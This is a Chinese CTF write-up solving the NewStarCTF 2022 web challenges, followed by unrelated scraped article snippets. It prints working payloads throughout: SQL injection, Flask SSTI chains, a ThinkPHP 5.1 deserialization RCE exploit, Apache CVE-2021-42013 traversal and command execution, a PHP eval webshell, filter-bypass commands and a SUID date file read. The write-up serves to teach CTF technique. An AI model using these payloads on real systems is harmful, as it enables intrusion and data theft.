NewStarCTF 2022 web方向题解 wp
----------WEEK1----------
BUU NewStarCTF 公开赛赛道 WEEK1 [NotPHP]
先看题目,要传参加绕过。
分析一下代码:首先get一个data=data://test/plain,Wel…。然后key1和2用数组可以绕过。num=2077a可以绕过弱类型。eval()中的php语句被#
注释了,我们需要通过换行%0a来忽视这个注释,所以再构造cmd=%0asystem(‘ls /’);
payload:
?data=data://test/plain,Welcome%20to%20CTF&key1[]=1&key2[]=7&cmd=%0asystem(%27cat%20/flag%27);num=2077a //POST
----------WEEK2----------
BUU NewStarCTF 公开赛赛道 WEEK2 [IncludeOne]
看看题干,伪随机数工具。
分析一下代码,预测一下下一个随机数,进行md5强比较,之后get文件,有正则。
随机数预测如下:
实际上是mt_rand()函数存在漏洞,通过mt_srand(XXX)中输入,每次mt_rand()生成的随机数都是固定的几项。通过php_mt_seed这个工具可以通过mt_rand()生成的数找到mt_srand(XXX)中的XXX。
文件夹里面开终端
time ./php_mt_seed 1219893521
<?php$a = mt_srand(1145146);echo mt_rand();echo "\n";echo mt_rand();
?>
然后传入
?file=php://filter/NewStar/read=string.rot13/resource=flag.php
rot13代替base。
BUU NewStarCTF 公开赛赛道 WEEK2 [UnserializeOne]
先看题目:给了一个hint,https://zhuanlan.zhihu.com/p/377676274。
有protected注意要url编码
链子: Start::destruct()->Sec::toString() ->easy::call()->eeee->clone()->Start::isset->sec::invoke()
exp:<?php
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;//1.name=Sec(Easy("1"),eeee(Start("",Sec("2","3"))))}public function __isset($var){($this->func)();//5. Sec("2","3") ("")}public function __construct($name, $func){$this->name = $name;$this->func = $func;}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);//2.Easy->check[不存在] ( eeee(Start("",Sec("2","3"))) )return "CTFers";}public function __invoke(){echo file_get_contents('flag');//6. get flag}public function __construct($obj,$var){$this->obj = $obj;$this->var = $var;}}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];//3. 1= clone eeee(Start("",Sec("2","3")))}public function __construct($cla){$this->cla = $cla;}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}//4. Start("",Sec("2","3"))->obj->cmd isset到不可访问属性}public function __construct($obj){$this->obj = $obj;}}$a = new Start(new Sec(new Easy("1"),new eeee(new Start("",new Sec("2","3")))),"");
echo urlencode(serialize($a));
BUU NewStarCTF 公开赛赛道 WEEK2 [Word-For-You(2 Gen)]
是SQL,看了一下闭合,字符型。
分析一下,有报错无回显,报错注入冲冲冲。
1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="wfy") ,0x7e),1)#
//wfy_admin,wfy_comments,wfy_info 数据表名称1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="wfy_comments") ,0x7e),1)#
//id,text,user,name,display
1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="wfy_admin") ,0x7e),1)#
//Id,username,password,cookie 列/字段名称name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),155,30),1)#
//正好得到整段flag。
BUU NewStarCTF 公开赛赛道 WEEK2 [ezAPI]
一开始还以为是SQL。
后来看了佬wp,先拿dirsearch扫一下。发现了一个备份文件。
里面有一个index.php
<?phperror_reporting(0);$id = $_POST['id'];function waf($str){if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {return False;} else {return True;}}function send($data){$options = array('http' => array('method' => 'POST','header' => 'Content-type: application/json','content' => $data,'timeout' => 10 * 60));$context = stream_context_create($options);$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);//return $result;}if (isset($id)) {if (waf($id)) {isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'; //可以看出data是json格式。$res = json_decode(send($data)); //res进行了json解码if ($res->data->users_user_by_pk->name !== NULL) {echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;} else {echo "<b>Can't found it!</b><br><br>DEBUG: ";var_dump($res->data);}} else {die("<b>Hacker! Only Number!</b>");}} else {die("<b>No Data?</b>");}?>
从源码看到了,id过滤的非常严格,真的只能输入数字。但是还可以POST一个data,格式和json类似。
CV劲远佬佬的语雀。这个是graphQL内省查询,具体了解:https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
内省查询payload:
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
返回包返回的就是该API端点的所有信息。复制返回包到以下网址可以得到所有的对象定义、接口信息。
在全部接口信息中找到ffffllllaaagggg_1n_h3r3_flag接口
题目源码有段。
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'; data的格式是{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}
我们模仿这个,把id换成ffffllllaaagggg_1n_h3r3_flag。
payload:
id=1&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}
----------WEEK3----------
BUU NewStarCTF 公开赛赛道 WEEK3 [BabySSTI_One]
找到注入点,?name=
先试试工具,焚靖。只能说牛逼。
手工试试:
打开地址,在F12中看到提示为flask ssti,然后需要以GET的方式传递name参数上去
因此先看一下有无过滤,输入?name={{class}}
,页面显示说明存在过滤
使用中括号方式绕过,输入?name={{''['__cl'+'ass__']}}
,在源代码中发现绕过成功
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()}}
,通过__subclass__()返回当前类所有的子类 – 找到os._wrap_close类,位置在第117
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']}}
,通过__init__(初始化方法)、globals(访问全局变量,字典)查找可用的类 – 找到__builtins__
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls').read()")}}
,通过__builtins__中的eval找到页面源代码。
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t app.py').read()")}}
,打印源代码
import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'CTFer')if not re.findall('class|base|init|mro|flag|cat|more|env', name):t = Template("<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear " + name + "</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>")return t.render()else:t = Template("Get Out!Hacker!")return t.render()if __name__ == "__main__":app.run()
通过源代码得知,的确被过滤了很多关键字
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls -l /').read()")}}
,查看根目录下所有文件
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t /fla'+'g_in_here').read()")}}
,打印flag
知识点
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
注意点:在burp中GET中太长会无法识别,用hackbar即可
BUU NewStarCTF 公开赛赛道 WEEK3 [Maybe You Have To think More]
题目描述:PHP反序列化漏洞系列第二题。想啊想啊想不到,这可不是SQL注入哦
hint:看看Cookie ThinkPHP 5框架反序列化RCE
开题。
用户名输入Jay17
,发现是GET方式提交的,参数是name
。
当前界面未发现任何疑点
根据hint,他的cookie疑似base64编码字符串,解码后是一个序列化字符串。
访问不存在的路由,刻意使其报错。发现网站是thinkphp
,版本是5.1.41
。
那么thinkphp反序列化的点就是cookie了,我们直接使用现成的exp生成序列化字符串,base64编码后修改cookie即可。
exp:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Jay17"=>["hello","world"]];
$this->data = array('Jay17'=>new Request());
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJKYXkxNyI7YToyOntpOjA7czo1OiJoZWxsbyI7aToxO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
之后GET提交形式类似于任意名字=命令
的参数就行啦。
payload: (flag在环境变量里面)
GET:?anyname=envCookie:tp_user=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJKYXkxNyI7YToyOntpOjA7czo1OiJoZWxsbyI7aToxO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
参考文章:
Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析 - FreeBuf网络安全行业门户
----------WEEK4----------
BUU NewStarCTF 公开赛赛道 WEEK4 [So Baby RCE]
直接给了源码。
过滤非常狠,读取文件命令基本上都没了。
绕过过滤:
被过滤字符 | 绕过方式 |
---|---|
读取文件命令 | 空变量绕过( 1 、 1、 1、@)、sort命令 |
cd / | cd …&&cd …&&cd …&&cd … |
分隔符 | %0a、%26%26(&&的url编码) |
空格 | %09、${IFS} |
payload:
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26sort%09ffff?lllaaaaggggg?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca$1t%09ffff?lllaaaaggggg
当然我们也可以Bash内置变量RCE
。
详情见:Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全_Jay 17的博客-CSDN博客 中的web118-web124
先查看一下环境变量
?cmd=en$1v
然后来个替换表。
字符 | 对应的Bash内置变量 |
---|---|
nl | P A T H : 14 : 1 {PATH:14:1} PATH:14:1{PWD:12:1} |
/ | ${PWD:0:1} |
但是奇怪的是,我们echo $PWD
有回显,echo ${PWD:0:1}
无回显。
换个路子。
expr -- 用于在UNIX/LINUX下求表达式变量的值
$() -- 可以执行Linux命令
substr -- 截取字符串(Linux字符串 下标从一开始)
拿个斜杠看看,成功了
echo $(expr substr $PWD 1 1)
# 加上绕过
ec$1ho${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
payload:
//cd /&&ls
?cmd=cd%09$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)%26%26ls//nl /ffff?lllaaaaggggg
?cmd=$(expr${IFS}substr${IFS}$PATH${IFS}15${IFS}1)$(expr${IFS}substr${IFS}$PWD${IFS}13${IFS}1)%09$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)ffff?lllaaaaggggg$(expr${IFS}substr${IFS}$PATH${IFS}15${IFS}1) //n
$(expr${IFS}substr${IFS}$PWD${IFS}13${IFS}1) //l
----------WEEK5----------
BUU NewStarCTF 公开赛赛道 WEEK5 [Unsafe Apache]
开题。
题目名称是不安全的Apache,想必是Apache相关漏洞。network查看返回包中的Apache版本是2.4.50
。
这个版本有一个CVE。Apache HTTP Server路径穿越漏洞 (CVE-2021-42013)
现在我们就来了解一下这个漏洞的前世今生。
Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。
Apache版本2.4.50是对CVE-2021-(版本2.4.49)的修复,但是修复不完整导致可以绕过,从而产生了CVE-2021-42013(版本2.4.50)。
CVE-2021-41773:
Apache HTTP Server 2.4.49
版本使用的ap_normalize_path
函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符。
也就是说这个函数会检测路径中是否存在%
,存在再检测其紧跟的两个字符16进制字符,是的话。会对其进行url解码,如:%2e
->.
,转换完之后再检测是不是存在../
,防止路径穿越。
但是奇怪的是%2e./
能检测出来,但是.%2e/
不行。原来它是检测.
后是不是跟着./
。
所以用.%2e/
或者%2e%2e
就能绕过这个函数触发路径穿越。
CVE-2021-42013:
这时修复了对.%2e
的检测。
在处理外部HTTP请求时,会调用 ap_process_request_internal
函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path
函数进行一次url解码,之后会调用ap_unescape_url
函数进行二次解码。
这时候我们只需要将…/url编码两次就行了。
ap_normalize_path
函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
经过ap_normalize_path
函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
经过unescape_url
函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd
==补充一下:==对于没有进⾏安全配置的Apache服务器,默认情况可以⽤xxx.com/icons/
的⽅式打开Apache⽬录下的icons⽂件夹,并且会罗列出⽂件列表。(一、可以路径穿越读取文件)
在服务端开启了cgi或cgid这两个mod的情况下xxx.com/cgi-bin/xxx/bin/sh
,这个路径穿越漏洞将可以执行任意命令。POST方式直接提交命令,前面要加一个echo;
。(二、可以命令执行)
对两个CVE的修复:
2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(不是%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过。
payload:
读取文件:
URL/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
执行命令:
URL/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/shPOST:echo;nl /ffffllllaaagggg_cc084c485d
BUU NewStarCTF 公开赛赛道 WEEK5 [So Baby RCE Again]
考点:无回显RCE+提权
直接给了源码。
这题用shell_exec执行命令,shell_exec返回是无回显的。所以是无回显RCE。
经过尝试,我们有写入文件的权限,这题就用写文件然后访问文件得到命令执行的内容。当然也可以直接执行命令,写马到文件。这样更加方便。
?cmd=echo '<?php @eval($_POST[1])?>' > 1.php
成功写入,用phpinfo验证。
但是直接cat flag
返回权限不足。
之后利用find / -perm -u=s -type f 2>/dev/null
命令查看具有suid权限的命令,然后发现date
命令具有suid权限。那我们就可以用date命令读取flag文件。
payload:
URL/1.phpPOST:1=system('date --file=/ffll444aaggg 2> 1.txt');
或者
1=system('date --file /ffll444aaggg 2> 1.txt');
或者
1=system('date -f /ffll444aaggg 2> 1.txt');
使用date -f
命令可以以报错的方式将文件里面的内容全部弄出来。因为是通过报错方式得到文件内容,所以要使用错误重定向 2>
。
相关文章:

NewStarCTF 2022 web方向题解 wp
----------WEEK1---------- BUU NewStarCTF 公开赛赛道 WEEK1 [NotPHP] 先看题目,要传参加绕过。 分析一下代码:首先get一个datadata://test/plain,Wel…。然后key1和2用数组可以绕过。num2077a可以绕过弱类型。eval()中的php语句被#注释了,…...

WebGL矩阵变换库
目录 矩阵变换库: Matrix4对象所支持的方法和属性如表所示: 方法属性规范: 虽然平移、旋转、缩放等变换操作都可以用一个44的矩阵表示,但是在写WebGL程序的时候,手动计算每个矩阵很耗费时间。为了简化编程…...
block层:8. deadline调度器
deadline 源码基于5.10 0. 私有数据 struct deadline_data {/** run time data*//** requests (deadline_rq s) are present on both sort_list and fifo_list*/struct rb_root sort_list[2];struct list_head fifo_list[2];/** next in sort order. read, write or both ar…...
DTO,VO,PO的意义与他们之间的转换
DTO(Data Transfer Object):数据传输对象,这个概念来源于J2EE的设计模式,原来的目的是为了EJB的分布式应用提供粗粒度的数据实体,以减少分布式调用的次数,从而提高分布式调用的性能和降低网络负…...
Java 集合框架2
一、关于set接口的常用类 1.HashSet类 用来处理无序的单列数据,没有重复的元素,重复的元素算一个 i.构造方法 //HashSet类是set接口的子类,是无序的单列数据,没有重复的元素,重复的元素算一个 //HashSet的构造方法 //HashSet() …...

2024王道408数据结构P144 T16
2024王道408数据结构P144 T16 思考过程 首先看题目,要求我们把二叉树的叶子结点求出来并且用链表的方式存储,链接时用叶结点的右指针来存放单链表指针。我们很清楚可以看出来能用中序遍历递归的方式实现,因为第一个叶子结点在整棵树的最左下…...
【ARM Coresight 系列文章 22 -- linux frace 与 trace-cmd】
文章目录 ftrace 介绍trace-cmd 介绍trace-cmd 常用跟踪事件ftrace 与 trace-cmd 关系ftrace 编译依赖 ftrace 介绍 ftrace 是 Linux 内核中的一个跟踪工具,主要用于帮助开发者分析和调试内核的行为。ftrace 的名字来源于 “function tracer”,它最初是…...
MyBatis的一级缓存和二级缓存是怎么样的?
目录 1. 一级缓存 2. 一级缓存失效的几种情况 3. 二级缓存 4.二级缓存失效的情况 5. 二级缓存的相关配置 6. 缓存的查询顺序 MyBatis 的缓存共分为一级缓存和二级缓存。 1. 一级缓存 一级缓存是 SqlSession 级别的,通过同一个 SqlSession 查询到的数据会被缓…...

下载的文件被Windows 11 安全中心自动删除
今天从CSDN上下载了自己曾经上传的文件,但是浏览器下载完之后文件被Windows安全中心自动删除,说是带病毒。实际是没有病毒的,再说了即便有病毒也不应该直接删除啊,至少给用户一个保留或删除的选项。 研究了一番,可以暂…...
【Java List与数组】List<T>数组和数组List<T>的区别(124)
List数组:存储List的数组,即:数组中的元素是:List; 数组List:存储数组的List,即:List中的数据是类型的数组; 测试案例: import java.util.ArrayList; impor…...

Nuxt 菜鸟入门学习笔记四:静态资源
文章目录 public 目录assets 目录全局样式导入 Nuxt 官网地址: https://nuxt.com/ Nuxt 使用以下两个目录来处理 CSS、fonts 和图片等静态资源: public 目录 public 目录用作静态资产的公共服务器,可通过应用程序定义的 URL 公开获取。 换…...

C语言 - 结构体、结构体数组、结构体指针和结构体嵌套
结构体的意义 问题:学籍管理需要每个学生的下列数据:学号、姓名、性别、年龄、分数,请用 C 语言程序存储并处理一组学生的学籍。 单个学生学籍的数据结构: 学号(num): int 型姓名(…...
python安装playwright问题记录
python安装playwright这个时候,有得时候会https timeout 有的时候会 not found。 我最后使用的方法三,挺好用的。 PyPI The Python Package Index 可以尝试使用的方法 1. 更换pip源:使用国内的pip源可以提高下载速度并减少超时问题。例如,…...
关于gRPC微服务利弊之谈
gRPC微服务架构包括以下几个主要组件: 服务定义:定义服务的接口和消息格式,使用Protocol Buffers或其他的消息格式进行描述。服务实现:实现定义的服务接口和消息处理逻辑。服务器端实现:在服务器端,需要实…...

【Terraform学习】使用 Terraform创建Lambda函数启动EC2(Terraform-AWS最佳实战学习)
本站以分享各种运维经验和运维所需要的技能为主 《python》:python零基础入门学习 《shell》:shell学习 《terraform》持续更新中:terraform_Aws学习零基础入门到最佳实战 《k8》暂未更新 《docker学习》暂未更新 《ceph学习》ceph日常问题解…...

Mac软件删除方法?如何删除不会有残留
Mac电脑如果有太多无用的应用程序,很有可能会拖垮Mac系统的运行速度。因此,卸载电脑中无用的软件是优化Mac系统运行速度的最佳方式之一。Mac卸载应用程序的方式是和Windows有很大的区别,特别对于Mac新用户来说,如何无残留的卸载删…...
编程之道:【性能优化】提高软件效率的实际建议和避免常见陷阱
在今天的数字化世界中,软件性能是应用程序成功的关键之一。无论是网页加载速度、移动应用的响应时间还是后端服务器的处理速度,性能都直接影响着用户满意度。在追求高性能时,开发人员需要采取一系列实际建议,同时避免常见的陷阱。…...

VGG的结构:视觉几何组(Visual Geometry Group)
目录 1. VGG 的结构 2. VGG 的网络细节 3. VGG 的代码实现 1. VGG 的结构 牛津大学的视觉几何组(Visual Geometry Group)设计了 VGGNet(也称为 VGG),一种经典的卷积神经网络 (CNN) 架构。在 2014 年 ILSVRC 分类任务中,VGG 取…...
VBA:按照Excel工作表中的名称列自动汇总多个工作薄中对应sheet中所需要的数据
需求如下: B列为产品名为合并单元格,C列为供应商名,G、H列为金额数据;数据源放在同一个文件夹内,B列产品名来源于工作薄名称中间的字符串,C列供应商名来源于工作薄中的sheet名;G、H列金额数据来…...

Mybatis1.9 批量删除
1.9 批量删除 1.9.1 编写接口方法1.9.2 编写SQL语句1.9.3 编写测试方法 如上图所示,用户可以选择多条数据,然后点击上面的 删除 按钮,就会删除数据库中对应的多行数据。 1.9.1 编写接口方法 在 BrandMapper 接口中定义删除多行数据的方法。…...

springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...
React Native 开发环境搭建(全平台详解)
React Native 开发环境搭建(全平台详解) 在开始使用 React Native 开发移动应用之前,正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南,涵盖 macOS 和 Windows 平台的配置步骤,如何在 Android 和 iOS…...

2021-03-15 iview一些问题
1.iview 在使用tree组件时,发现没有set类的方法,只有get,那么要改变tree值,只能遍历treeData,递归修改treeData的checked,发现无法更改,原因在于check模式下,子元素的勾选状态跟父节…...

React19源码系列之 事件插件系统
事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解
本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说,直接开始吧! 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色,华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型,能助力我们轻松驾驭 DeepSeek-V3/R1,本文中将分享如何…...
LangFlow技术架构分析
🔧 LangFlow 的可视化技术栈 前端节点编辑器 底层框架:基于 (一个现代化的 React 节点绘图库) 功能: 拖拽式构建 LangGraph 状态机 实时连线定义节点依赖关系 可视化调试循环和分支逻辑 与 LangGraph 的深…...
HTML前端开发:JavaScript 获取元素方法详解
作为前端开发者,高效获取 DOM 元素是必备技能。以下是 JS 中核心的获取元素方法,分为两大系列: 一、getElementBy... 系列 传统方法,直接通过 DOM 接口访问,返回动态集合(元素变化会实时更新)。…...

消息队列系统设计与实践全解析
文章目录 🚀 消息队列系统设计与实践全解析🔍 一、消息队列选型1.1 业务场景匹配矩阵1.2 吞吐量/延迟/可靠性权衡💡 权衡决策框架 1.3 运维复杂度评估🔧 运维成本降低策略 🏗️ 二、典型架构设计2.1 分布式事务最终一致…...
[USACO23FEB] Bakery S
题目描述 Bessie 开了一家面包店! 在她的面包店里,Bessie 有一个烤箱,可以在 t C t_C tC 的时间内生产一块饼干或在 t M t_M tM 单位时间内生产一块松糕。 ( 1 ≤ t C , t M ≤ 10 9 ) (1 \le t_C,t_M \le 10^9) (1≤tC,tM≤109)。由于空间…...